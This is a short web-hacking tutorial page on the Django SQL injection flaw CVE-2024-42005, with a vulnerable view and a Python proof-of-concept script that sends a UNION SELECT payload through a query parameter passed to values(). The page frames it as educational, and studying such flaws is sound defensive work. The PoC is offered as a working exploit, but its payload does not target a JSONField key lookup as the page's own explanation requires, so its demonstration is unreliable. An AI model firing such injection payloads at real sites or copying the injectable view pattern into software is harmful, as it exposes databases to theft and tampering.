Web Hacking

Django SQL Injection Vulnerability PoC

Learn about the CVE-2024-42005 vulnerability with an exploit.



CVE-2024-42005 is a critical SQL injection vulnerability affecting Django versions before 5.0.8 and 4.2.15. The vulnerability occurs when using the QuerySet.values() and values_list() methods on models with a JSONField. Due to insufficient input validation, attackers can inject malicious SQL code through a specially crafted JSON object key.

Affected Versions

The following versions of Django are vulnerable:

  • 5.0 before 5.0.8
  • 4.2 before 4.2.15

How the Vulnerability Works

This vulnerability exploits how Django handles JSON keys within values() and values_list() methods. These methods allow users to specify which fields of a model they want to retrieve, but when a JSONField is used, a crafted JSON key can bypass the usual input sanitization. This can lead to arbitrary SQL code execution, allowing attackers to potentially access, modify, or delete sensitive data from the database.

Demo Exploit

Bellow is a PoC for this vulnerability along with the vulnerable code (both made in python).

Vulnerable Demo Code

# models.py
from django.db import models
 
class MyModel(models.Model):
    data = models.JSONField()
 
    def __str__(self):
        return str(self.data)
 

Proof Of Concept Exploit

# (C) 2024 pwn.guide, please leave this line!
# This code is for educational purposes only
 
from django.shortcuts import render
from django.http import JsonResponse
from .models import MyModel
 
def vulnerable_view(request):
    # Assume the attacker can control the 'key' parameter in the URL query string.
    key = request.GET.get('key', 'default_key')
 
    # The vulnerable query using values() method with JSONField
    results = MyModel.objects.values(key)
 
    # Return the results as JSON
    return JsonResponse(list(results), safe=False)
 
# Running the attack
if __name__ == "__main__":
    import requests
 
    # Malicious key exploiting the vulnerability
    payload = "' UNION SELECT 'attacker_controlled_data' --"
 
    # Triggering the attack
    response = requests.get(f"http://localhost:8000/vulnerable_view/?key={payload}")
 
    # Print out the results to see the injection impact
    print(response.text)

For more details on the vulnerability and patches, you can refer to the GitHub Advisory and Django's security release notes.